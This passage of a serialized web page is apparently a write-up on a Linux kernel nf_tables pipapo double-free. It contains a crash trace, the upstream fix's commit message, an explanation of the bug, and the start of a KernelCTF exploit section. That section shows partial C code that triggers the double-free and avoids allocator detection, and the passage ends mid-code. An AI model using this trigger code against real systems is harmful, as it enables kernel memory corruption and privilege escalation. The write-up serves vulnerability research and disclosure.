05\n",{"type":23,"tag":481,"props":51432,"children":51433},{"class":483,"line":873},[51434],{"type":23,"tag":481,"props":51435,"children":51436},{},[51437],{"type":28,"value":7803},{"type":23,"tag":481,"props":51439,"children":51440},{"class":483,"line":1125},[51441],{"type":23,"tag":481,"props":51442,"children":51443},{},[51444],{"type":28,"value":51445},"[16302.231917] Call Trace:\n",{"type":23,"tag":481,"props":51447,"children":51448},{"class":483,"line":1142},[51449],{"type":23,"tag":481,"props":51450,"children":51451},{},[51452],{"type":28,"value":51453},"[16302.231919] \u003CTASK>\n",{"type":23,"tag":481,"props":51455,"children":51456},{"class":483,"line":1159},[51457],{"type":23,"tag":481,"props":51458,"children":51459},{},[51460],{"type":28,"value":51461},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":481,"props":51463,"children":51464},{"class":483,"line":1172},[51465],{"type":23,"tag":481,"props":51466,"children":51467},{},[51468],{"type":28,"value":51469},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":481,"props":51471,"children":51472},{"class":483,"line":1181},[51473],{"type":23,"tag":481,"props":51474,"children":51475},{},[51476],{"type":28,"value":51477},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":481,"props":51479,"children":51480},{"class":483,"line":1204},[51481],{"type":23,"tag":481,"props":51482,"children":51483},{},[51484],{"type":28,"value":51485},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":481,"props":51487,"children":51488},{"class":483,"line":1213},[51489],{"type":23,"tag":481,"props":51490,"children":51491},{},[51492],{"type":28,"value":51493},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":481,"props":51495,"children":51496},{"class":483,"line":1222},[51497],{"type":23,"tag":481,"props":51498,"children":51499},{},[51500],{"type":28,"value":51501},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":23,"tag":481,"props":51503,"children":51504},{"class":483,"line":1291},[51505],{"type":23,"tag":481,"props":51506,"children":51507},{},[51508],{"type":28,"value":51509},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":481,"props":51511,"children":51512},{"class":483,"line":1299},[51513],{"type":23,"tag":481,"props":51514,"children":51515},{"emptyLinePlaceholder":15},[51516],{"type":28,"value":1210},{"type":23,"tag":481,"props":51518,"children":51519},{"class":483,"line":1329},[51520],{"type":23,"tag":481,"props":51521,"children":51522},{},[51523],{"type":28,"value":51524},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":481,"props":51526,"children":51527},{"class":483,"line":1337},[51528],{"type":23,"tag":481,"props":51529,"children":51530},{},[51531],{"type":28,"value":51532},"elements in the lookup tables.\n",{"type":23,"tag":481,"props":51534,"children":51535},{"class":483,"line":1369},[51536],{"type":23,"tag":481,"props":51537,"children":51538},{"emptyLinePlaceholder":15},[51539],{"type":28,"value":1210},{"type":23,"tag":481,"props":51541,"children":51542},{"class":483,"line":1377},[51543],{"type":23,"tag":481,"props":51544,"children":51545},{},[51546],{"type":28,"value":51547},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":481,"props":51549,"children":51550},{"class":483,"line":1437},[51551],{"type":23,"tag":481,"props":51552,"children":51553},{},[51554],{"type":28,"value":51555},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":481,"props":51557,"children":51558},{"class":483,"line":6528},[51559],{"type":23,"tag":481,"props":51560,"children":51561},{},[51562],{"type":28,"value":51563},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":481,"props":51565,"children":51566},{"class":483,"line":6546},[51567],{"type":23,"tag":481,"props":51568,"children":51569},{},[51570],{"type":28,"value":51571},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":481,"props":51573,"children":51574},{"class":483,"line":6591},[51575],{"type":23,"tag":481,"props":51576,"children":51577},{},[51578],{"type":28,"value":51579},"to it).\"\n",{"type":23,"tag":481,"props":51581,"children":51582},{"class":483,"line":6697},[51583],{"type":23,"tag":481,"props":51584,"children":51585},{"emptyLinePlaceholder":15},[51586],{"type":28,"value":1210},{"type":23,"tag":481,"props":51588,"children":51589},{"class":483,"line":21008},[51590],{"type":23,"tag":481,"props":51591,"children":51592},{},[51593],{"type":28,"value":51594},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":481,"props":51596,"children":51597},{"class":483,"line":21043},[51598],{"type":23,"tag":481,"props":51599,"children":51600},{},[51601],{"type":28,"value":51602},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":481,"props":51604,"children":51605},{"class":483,"line":21051},[51606],{"type":23,"tag":481,"props":51607,"children":51608},{},[51609],{"type":28,"value":51610},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":24,"props":51612,"children":51613},{},[51614,51616,51621,51623,51628,51630,51635,51637,51642],{"type":28,"value":51615},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":64,"props":51617,"children":51619},{"className":51618},[],[51620],{"type":28,"value":48545},{"type":28,"value":51622}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":64,"props":51624,"children":51626},{"className":51625},[],[51627],{"type":28,"value":49871},{"type":28,"value":51629}," method by simply replacing the ",{"type":23,"tag":64,"props":51631,"children":51633},{"className":51632},[],[51634],{"type":28,"value":48545},{"type":28,"value":51636},"s match object with its updated clone. So checking the ",{"type":23,"tag":64,"props":51638,"children":51640},{"className":51639},[],[51641],{"type":28,"value":48499},{"type":28,"value":51643}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":24,"props":51645,"children":51646},{},[51647,51649,51654],{"type":28,"value":51648},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":64,"props":51650,"children":51652},{"className":51651},[],[51653],{"type":28,"value":48545},{"type":28,"value":51655},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":24,"props":51657,"children":51658},{},[51659,51661,51667,51669,51674,51676,51681],{"type":28,"value":51660},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":64,"props":51662,"children":51664},{"className":51663},[],[51665],{"type":28,"value":51666},"set->ops->destroy()",{"type":28,"value":51668}," could be called without clearing the ",{"type":23,"tag":64,"props":51670,"children":51672},{"className":51671},[],[51673],{"type":28,"value":48499},{"type":28,"value":51675}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":64,"props":51677,"children":51679},{"className":51678},[],[51680],{"type":28,"value":48537},{"type":28,"value":51682},"s, so they would all be in the clone set.",{"type":23,"tag":24,"props":51684,"children":51685},{},[51686,51688,51693],{"type":28,"value":51687},"But when the ",{"type":23,"tag":64,"props":51689,"children":51691},{"className":51690},[],[51692],{"type":28,"value":51255},{"type":28,"value":51694}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":24,"props":51696,"children":51697},{},[51698],{"type":28,"value":51699},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":31,"props":51701,"children":51703},{"id":51702},"kernelctf-exploit",[51704],{"type":28,"value":51705},"KernelCTF exploit",{"type":23,"tag":24,"props":51707,"children":51708},{},[51709,51711,51717,51719,51726],{"type":28,"value":51710},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":64,"props":51712,"children":51714},{"className":51713},[],[51715],{"type":28,"value":51716},"nft_object + udata",{"type":28,"value":51718}," technique shared by lonial con in a ",{"type":23,"tag":190,"props":51720,"children":51723},{"href":51721,"rel":51722},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[194],[51724],{"type":28,"value":51725},"previous kernelCTF exploit",{"type":28,"value":199},{"type":23,"tag":7092,"props":51728,"children":51730},{"id":51729},"trigger-uafavoid-double-free-detection",[51731],{"type":28,"value":51732},"Trigger UAF/avoid double-free detection",{"type":23,"tag":24,"props":51734,"children":51735},{},[51736,51738,51744,51746,51752],{"type":28,"value":51737},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":64,"props":51739,"children":51741},{"className":51740},[],[51742],{"type":28,"value":51743},"nft_set_pipapo_match_destroy",{"type":28,"value":51745}," iterates over the ",{"type":23,"tag":64,"props":51747,"children":51749},{"className":51748},[],[51750],{"type":28,"value":51751},"setelems",{"type":28,"value":51753}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":73,"props":51755,"children":51756},{},[51757,51762,51767,51772],{"type":23,"tag":77,"props":51758,"children":51759},{},[51760],{"type":28,"value":51761},"Element A gets freed",{"type":23,"tag":77,"props":51763,"children":51764},{},[51765],{"type":28,"value":51766},"Element B gets free",{"type":23,"tag":77,"props":51768,"children":51769},{},[51770],{"type":28,"value":51771},"Element A gets freed again (double-free)",{"type":23,"tag":77,"props":51773,"children":51774},{},[51775],{"type":28,"value":51776},"Element B gets freed again (double-free)",{"type":23,"tag":435,"props":51778,"children":51780},{"className":26623,"code":51779,"language":26625,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[51781],{"type":23,"tag":64,"props":51782,"children":51783},{"__ignoreMap":7},[51784,51791,51852,51859,51866,51874,51881,51888,51896,51920,51941,51975,52036,52043,52051,52103,52110,52136,52163,52202,52231,52260,52282,52289,52296,52303,52311,52318,52326,52339,52352,52372,52379,52387,52409,52441,52486,52522,52550,52557,52564,52572,52579,52595,52602],{"type":23,"tag":481,"props":51785,"children":51786},{"class":483,"line":484},[51787],{"type":23,"tag":481,"props":51788,"children":51789},{"style":525},[51790],{"type":28,"value":7803},{"type":23,"tag":481,"props":51792,"children":51793},{"class":483,"line":351},[51794,51799,51803,51808,51812,51817,51821,51826,51831,51835,51839,51843,51848],{"type":23,"tag":481,"props":51795,"children":51796},{"style":525},[51797],{"type":28,"value":51798},"static void trigger_uaf(",{"type":23,"tag":481,"props":51800,"children":51801},{"style":497},[51802],{"type":28,"value":6884},{"type":23,"tag":481,"props":51804,"children":51805},{"style":943},[51806],{"type":28,"value":51807}," mnl_socket",{"type":23,"tag":481,"props":51809,"children":51810},{"style":497},[51811],{"type":28,"value":7301},{"type":23,"tag":481,"props":51813,"children":51814},{"style":508},[51815],{"type":28,"value":51816},"nl",{"type":23,"tag":481,"props":51818,"children":51819},{"style":525},[51820],{"type":28,"value":588},{"type":23,"tag":481,"props":51822,"children":51823},{"style":497},[51824],{"type":28,"value":51825},"size_t",{"type":23,"tag":481,"props":51827,"children":51828},{"style":508},[51829],{"type":28,"value":51830}," size",{"type":23,"tag":481,"props":51832,"children":51833},{"style":525},[51834],{"type":28,"value":588},{"type":23,"tag":481,"props":51836,"children":51837},{"style":497},[51838],{"type":28,"value":16543},{"type":23,"tag":481,"props":51840,"children":51841},{"style":497},[51842],{"type":28,"value":7301},{"type":23,"tag":481,"props":51844,"children":51845},{"style":508},[51846],{"type":28,"value":51847},"msgqids",{"type":23,"tag":481,"props":51849,"children":51850},{"style":525},[51851],{"type":28,"value":675},{"type":23,"tag":481,"props":51853,"children":51854},{"class":483,"line":531},[51855],{"type":23,"tag":481,"props":51856,"children":51857},{"style":525},[51858],{"type":28,"value":8366},{"type":23,"tag":481,"props":51860,"children":51861},{"class":483,"line":567},[51862],{"type":23,"tag":481,"props":51863,"children":51864},{"style":525},[51865],{"type":28,"value":7803},{"type":23,"tag":481,"props":51867,"children":51868},{"class":483,"line":678},[51869],{"type":23,"tag":481,"props":51870,"children":51871},{"style":525},[51872],{"type":28,"value":51873}," // TRANSACTION 2\n",{"type":23,"tag":481,"props":51875,"children":51876},{"class":483,"line":784},[51877],{"type":23,"tag":481,"props":51878,"children":51879},{"style":525},[51880],{"type":28,"value":7803},{"type":23,"tag":481,"props":51882,"children":51883},{"class":483,"line":812},[51884],{"type":23,"tag":481,"props":51885,"children":51886},{"emptyLinePlaceholder":15},[51887],{"type":28,"value":1210},{"type":23,"tag":481,"props":51889,"children":51890},{"class":483,"line":825},[51891],{"type":23,"tag":481,"props":51892,"children":51893},{"style":525},[51894],{"type":28,"value":51895}," // create pipapo set\n",{"type":23,"tag":481,"props":51897,"children":51898},{"class":483,"line":843},[51899,51904,51908,51912,51916],{"type":23,"tag":481,"props":51900,"children":51901},{"style":525},[51902],{"type":28,"value":51903}," uint8_t desc[2] = {",{"type":23,"tag":481,"props":51905,"children":51906},{"style":551},[51907],{"type":28,"value":38366},{"type":23,"tag":481,"props":51909,"children":51910},{"style":525},[51911],{"type":28,"value":588},{"type":23,"tag":481,"props":51913,"children":51914},{"style":551},[51915],{"type":28,"value":38366},{"type":23,"tag":481,"props":51917,"children":51918},{"style":525},[51919],{"type":28,"value":14068},{"type":23,"tag":481,"props":51921,"children":51922},{"class":483,"line":864},[51923,51928,51932,51937],{"type":23,"tag":481,"props":51924,"children":51925},{"style":525},[51926],{"type":28,"value":51927}," set ",{"type":23,"tag":481,"props":51929,"children":51930},{"style":514},[51931],{"type":28,"value":603},{"type":23,"tag":481,"props":51933,"children":51934},{"style":610},[51935],{"type":28,"value":51936}," create_set",{"type":23,"tag":481,"props":51938,"children":51939},{"style":525},[51940],{"type":28,"value":988},{"type":23,"tag":481,"props":51942,"children":51943},{"class":483,"line":873},[51944,51949,51953,51958,51963,51967,51971],{"type":23,"tag":481,"props":51945,"children":51946},{"style":525},[51947],{"type":28,"value":51948}," batch, seq",{"type":23,"tag":481,"props":51950,"children":51951},{"style":514},[51952],{"type":28,"value":48795},{"type":23,"tag":481,"props":51954,"children":51955},{"style":525},[51956],{"type":28,"value":51957},", exploit_table_name, ",{"type":23,"tag":481,"props":51959,"children":51960},{"style":1805},[51961],{"type":28,"value":51962},"\"pwn_set\"",{"type":23,"tag":481,"props":51964,"children":51965},{"style":525},[51966],{"type":28,"value":588},{"type":23,"tag":481,"props":51968,"children":51969},{"style":551},[51970],{"type":28,"value":41023},{"type":23,"tag":481,"props":51972,"children":51973},{"style":525},[51974],{"type":28,"value":1033},{"type":23,"tag":481,"props":51976,"children":51977},{"class":483,"line":1125},[51978,51983,51987,51992,51996,52001,52005,52009,52013,52018,52023,52027,52031],{"type":23,"tag":481,"props":51979,"children":51980},{"style":525},[51981],{"type":28,"value":51982}," NFT_SET_INTERVAL ",{"type":23,"tag":481,"props":51984,"children":51985},{"style":514},[51986],{"type":28,"value":7901},{"type":23,"tag":481,"props":51988,"children":51989},{"style":525},[51990],{"type":28,"value":51991}," NFT_SET_OBJECT ",{"type":23,"tag":481,"props":51993,"children":51994},{"style":514},[51995],{"type":28,"value":7901},{"type":23,"tag":481,"props":51997,"children":51998},{"style":525},[51999],{"type":28,"value":52000}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":481,"props":52002,"children":52003},{"style":551},[52004],{"type":28,"value":637},{"type":23,"tag":481,"props":52006,"children":52007},{"style":525},[52008],{"type":28,"value":588},{"type":23,"tag":481,"props":52010,"children":52011},{"style":514},[52012],{"type":28,"value":623},{"type":23,"tag":481,"props":52014,"children":52015},{"style":525},[52016],{"type":28,"value":52017},"desc, ",{"type":23,"tag":481,"props":52019,"children":52020},{"style":497},[52021],{"type":28,"value":52022},"NULL",{"type":23,"tag":481,"props":52024,"children":52025},{"style":525},[52026],{"type":28,"value":588},{"type":23,"tag":481,"props":52028,"children":52029},{"style":551},[52030],{"type":28,"value":1568},{"type":23,"tag":481,"props":52032,"children":52033},{"style":525},[52034],{"type":28,"value":52035},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":481,"props":52037,"children":52038},{"class":483,"line":1142},[52039],{"type":23,"tag":481,"props":52040,"children":52041},{"emptyLinePlaceholder":15},[52042],{"type":28,"value":1210},{"type":23,"tag":481,"props":52044,"children":52045},{"class":483,"line":1159},[52046],{"type":23,"tag":481,"props":52047,"children":52048},{"style":488},[52049],{"type":28,"value":52050}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":481,"props":52052,"children":52053},{"class":483,"line":1172},[52054,52058,52062,52066,52071,52075,52079,52083,52087,52091,52095,52099],{"type":23,"tag":481,"props":52055,"children":52056},{"style":535},[52057],{"type":28,"value":538},{"type":23,"tag":481,"props":52059,"children":52060},{"style":525},[52061],{"type":28,"value":578},{"type":23,"tag":481,"props":52063,"children":52064},{"style":497},[52065],{"type":28,"value":16543},{"type":23,"tag":481,"props":52067,"children":52068},{"style":525},[52069],{"type":28,"value":52070}," i ",{"type":23,"tag":481,"props":52072,"children":52073},{"style":514},[52074],{"type":28,"value":603},{"type":23,"tag":481,"props":52076,"children":52077},{"style":551},[52078],{"type":28,"value":554},{"type":23,"tag":481,"props":52080,"children":52081},{"style":525},[52082],{"type":28,"value":48759},{"type":23,"tag":481,"props":52084,"children":52085},{"style":514},[52086],{"type":28,"value":3282},{"type":23,"tag":481,"props":52088,"children":52089},{"style":551},[52090],{"type":28,"value":5413},{"type":23,"tag":481,"props":52092,"children":52093},{"style":525},[52094],{"type":28,"value":48790},{"type":23,"tag":481,"props":52096,"children":52097},{"style":514},[52098],{"type":28,"value":48795},{"type":23,"tag":481,"props":52100,"children":52101},{"style":525},[52102],{"type":28,"value":675},{"type":23,"tag":481,"props":52104,"children":52105},{"class":483,"line":1181},[52106],{"type":23,"tag":481,"props":52107,"children":52108},{"style":525},[52109],{"type":28,"value":26700},{"type":23,"tag":481,"props":52111,"children":52112},{"class":483,"line":1204},[52113,52118,52123,52127,52132],{"type":23,"tag":481,"props":52114,"children":52115},{"style":508},[52116],{"type":28,"value":52117}," elem",{"type":23,"tag":481,"props":52119,"children":52120},{"style":525},[52121],{"type":28,"value":52122},"[i] ",{"type":23,"tag":481,"props":52124,"children":52125},{"style":514},[52126],{"type":28,"value":603},{"type":23,"tag":481,"props":52128,"children":52129},{"style":610},[52130],{"type":28,"value":52131}," nftnl_set_elem_alloc",{"type":23,"tag":481,"props":52133,"children":52134},{"style":525},[52135],{"type":28,"value":1201},{"type":23,"tag":481,"props":52137,"children":52138},{"class":483,"line":1213},[52139,52144,52149,52154,52158],{"type":23,"tag":481,"props":52140,"children":52141},{"style":610},[52142],{"type":28,"value":52143}," memset",{"type":23,"tag":481,"props":52145,"children":52146},{"style":525},[52147],{"type":28,"value":52148},"(key, ",{"type":23,"tag":481,"props":52150,"children":52151},{"style":551},[52152],{"type":28,"value":52153},"0x41",{"type":23,"tag":481,"props":52155,"children":52156},{"style":514},[52157],{"type":28,"value":6385},{"type":23,"tag":481,"props":52159,"children":52160},{"style":525},[52161],{"type":28,"value":52162}," i, KEY_LEN);\n",{"type":23,"tag":481,"props":52164,"children":52165},{"class":483,"line":1222},[52166,52171,52175,52179,52184,52189,52193,52198],{"type":23,"tag":481,"props":52167,"children":52168},{"style":610},[52169],{"type":28,"value":52170}," nftnl_set_elem_set",{"type":23,"tag":481,"props":52172,"children":52173},{"style":525},[52174],{"type":28,"value":618},{"type":23,"tag":481,"props":52176,"children":52177},{"style":508},[52178],{"type":28,"value":49590},{"type":23,"tag":481,"props":52180,"children":52181},{"style":525},[52182],{"type":28,"value":52183},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":481,"props":52185,"children":52186},{"style":1805},[52187],{"type":28,"value":52188},"\"pwnobj\"",{"type":23,"tag":481,"props":52190,"children":52191},{"style":525},[52192],{"type":28,"value":588},{"type":23,"tag":481,"props":52194,"children":52195},{"style":551},[52196],{"type":28,"value":52197},"7",{"type":23,"tag":481,"props":52199,"children":52200},{"style":525},[52201],{"type":28,"value":1366},{"type":23,"tag":481,"props":52203,"children":52204},{"class":483,"line":1291},[52205,52209,52213,52217,52222,52226],{"type":23,"tag":481,"props":52206,"children":52207},{"style":610},[52208],{"type":28,"value":52170},{"type":23,"tag":481,"props":52210,"children":52211},{"style":525},[52212],{"type":28,"value":618},{"type":23,"tag":481,"props":52214,"children":52215},{"style":508},[52216],{"type":28,"value":49590},{"type":23,"tag":481,"props":52218,"children":52219},{"style":525},[52220],{"type":28,"value":52221},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":481,"props":52223,"children":52224},{"style":514},[52225],{"type":28,"value":623},{"type":23,"tag":481,"props":52227,"children":52228},{"style":525},[52229],{"type":28,"value":52230},"key, KEY_LEN);\n",{"type":23,"tag":481,"props":52232,"children":52233},{"class":483,"line":1299},[52234,52238,52242,52246,52251,52255],{"type":23,"tag":481,"props":52235,"children":52236},{"style":610},[52237],{"type":28,"value":52170},{"type":23,"tag":481,"props":52239,"children":52240},{"style":525},[52241],{"type":28,"value":618},{"type":23,"tag":481,"props":52243,"children":52244},{"style":508},[52245],{"type":28,"value":49590},{"type":23,"tag":481,"props":52247,"children":52248},{"style":525},[52249],{"type":28,"value":52250},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":481,"props":52252,"children":52253},{"style":514},[52254],{"type":28,"value":623},{"type":23,"tag":481,"props":52256,"children":52257},{"style":525},[52258],{"type":28,"value":52259},"udata_buf, size);\n",{"type":23,"tag":481,"props":52261,"children":52262},{"class":483,"line":1329},[52263,52268,52273,52277],{"type":23,"tag":481,"props":52264,"children":52265},{"style":610},[52266],{"type":28,"value":52267}," nftnl_set_elem_add",{"type":23,"tag":481,"props":52269,"children":52270},{"style":525},[52271],{"type":28,"value":52272},"(set, ",{"type":23,"tag":481,"props":52274,"children":52275},{"style":508},[52276],{"type":28,"value":49590},{"type":23,"tag":481,"props":52278,"children":52279},{"style":525},[52280],{"type":28,"value":52281},"[i]);\n",{"type":23,"tag":481,"props":52283,"children":52284},{"class":483,"line":1337},[52285],{"type":23,"tag":481,"props":52286,"children":52287},{"style":525},[52288],{"type":28,"value":879},{"type":23,"tag":481,"props":52290,"children":52291},{"class":483,"line":1369},[52292],{"type":23,"tag":481,"props":52293,"children":52294},{"style":525},[52295],{"type":28,"value":7803},{"type":23,"tag":481,"props":52297,"children":52298},{"class":483,"line":1377},[52299],{"type":23,"tag":481,"props":52300,"children":52301},{"emptyLinePlaceholder":15},[52302],{"type":28,"value":1210},{"type":23,"tag":481,"props":52304,"children":52305},{"class":483,"line":1437},[52306],{"type":23,"tag":481,"props":52307,"children":52308},{"style":525},[52309],{"type":28,"value":52310}," // TRANSACTION 3\n",{"type":23,"tag":481,"props":52312,"children":52313},{"class":483,"line":6528},[52314],{"type":23,"tag":481,"props":52315,"children":52316},{"style":525},[52317],{"type":28,"value":7803},{"type":23,"tag":481,"props":52319,"children":52320},{"class":483,"line":6546},[52321],{"type":23,"tag":481,"props":52322,"children":52323},{"style":525},[52324],{"type":28,"value":52325}," set = nftnl_set_alloc();\n",{"type":23,"tag":481,"props":52327,"children":52328},{"class":483,"line":6591},[52329,52334],{"type":23,"tag":481,"props":52330,"children":52331},{"style":610},[52332],{"type":28,"value":52333}," nftnl_set_set_u32",{"type":23,"tag":481,"props":52335,"children":52336},{"style":525},[52337],{"type":28,"value":52338},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":481,"props":52340,"children":52341},{"class":483,"line":6697},[52342,52347],{"type":23,"tag":481,"props":52343,"children":52344},{"style":610},[52345],{"type":28,"value":52346}," nftnl_set_set_str",{"type":23,"tag":481,"props":52348,"children":52349},{"style":525},[52350],{"type":28,"value":52351},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":481,"props":52353,"children":52354},{"class":483,"line":21008},[52355,52359,52364,52368],{"type":23,"tag":481,"props":52356,"children":52357},{"style":610},[52358],{"type":28,"value":52346},{"type":23,"tag":481,"props":52360,"children":52361},{"style":525},[52362],{"type":28,"value":52363},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":481,"props":52365,"children":52366},{"style":1805},[52367],{"type":28,"value":51962},{"type":23,"tag":481,"props":52369,"children":52370},{"style":525},[52371],{"type":28,"value":1366},{"type":23,"tag":481,"props":52373,"children":52374},{"class":483,"line":21043},[52375],{"type":23,"tag":481,"props":52376,"children":52377},{"emptyLinePlaceholder":15},[52378],{"type":28,"value":1210},{"type":23,"tag":481,"props":52380,"children":52381},{"class":483,"line":21051},[52382],{"type":23,"tag":481,"props":52383,"children":52384},{"style":488},[52385],{"type":28,"value":52386}," // make priv->dirty true\n",{"type":23,"tag":481,"props":52388,"children":52389},{"class":483,"line":21059},[52390,52395,52399,52404],{"type":23,"tag":481,"props":52391,"children":52392},{"style":610},[52393],{"type":28,"value":52394}," memset",{"type":23,"tag":481,"props":52396,"children":52397},{"style":525},[52398],{"type":28,"value":52148},{"type":23,"tag":481,"props":52400,"children":52401},{"style":551},[52402],{"type":28,"value":52403},"0xff",{"type":23,"tag":481,"props":52405,"children":52406},{"style":525},[52407],{"type":28,"value":52408},", KEY_LEN);\n",{"type":23,"tag":481,"props":52410,"children":52411},{"class":483,"line":21068},[52412,52417,52421,52425,52429,52433,52437],{"type":23,"tag":481,"props":52413,"children":52414},{"style":508},[52415],{"type":28,"value":52416}," elem",{"type":23,"tag":481,"props":52418,"children":52419},{"style":525},[52420],{"type":28,"value":1269},{"type":23,"tag":481,"props":52422,"children":52423},{"style":551},[52424],{"type":28,"value":14788},{"type":23,"tag":481,"props":52426,"children":52427},{"style":525},[52428],{"type":28,"value":6141},{"type":23,"tag":481,"props":52430,"children":52431},{"style":514},[52432],{"type":28,"value":603},{"type":23,"tag":481,"props":52434,"children":52435},{"style":610},[52436],{"type":28,"value":52131},{"type":23,"tag":481,"props":52438,"children":52439},{"style":525},[52440],{"type":28,"value":1201},{"type":23,"tag":481,"props":52442,"children":52443},{"class":483,"line":21110},[52444,52449,52453,52457,52461,52465,52470,52474,52478,52482],{"type":23,"tag":481,"props":52445,"children":52446},{"style":610},[52447],{"type":28,"value":52448}," nftnl_set_elem_set",{"type":23,"tag":481,"props":52450,"children":52451},{"style":525},[52452],{"type":28,"value":618},{"type":23,"tag":481,"props":52454,"children":52455},{"style":508},[52456],{"type":28,"value":49590},{"type":23,"tag":481,"props":52458,"children":52459},{"style":525},[52460],{"type":28,"value":1269},{"type":23,"tag":481,"props":52462,"children":52463},{"style":551},[52464],{"type":28,"value":14788},{"type":23,"tag":481,"props":52466,"children":52467},{"style":525},[52468],{"type":28,"value":52469},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":481,"props":52471,"children":52472},{"style":1805},[52473],{"type":28,"value":52188},{"type":23,"tag":481,"props":52475,"children":52476},{"style":525},[52477],{"type":28,"value":588},{"type":23,"tag":481,"props":52479,"children":52480},{"style":551},[52481],{"type":28,"value":52197},{"type":23,"tag":481,"props":52483,"children":52484},{"style":525},[52485],{"type":28,"value":1366},{"type":23,"tag":481,"props":52487,"children":52488},{"class":483,"line":21143},[52489,52493,52497,52501,52505,52509,52514,52518],{"type":23,"tag":481,"props":52490,"children":52491},{"style":610},[52492],{"type":28,"value":52448},{"type":23,"tag":481,"props":52494,"children":52495},{"style":525},[52496],{"type":28,"value":618},{"type":23,"tag":481,"props":52498,"children":52499},{"style":508},[52500],{"type":28,"value":49590},{"type":23,"tag":481,"props":52502,"children":52503},{"style":525},[52504],{"type":28,"value":1269},{"type":23,"tag":481,"props":52506,"children":52507},{"style":551},[52508],{"type":28,"value":14788},{"type":23,"tag":481,"props":52510,"children":52511},{"style":525},[52512],{"type":28,"value":52513},"], NFTNL_SET_ELEM_KEY, 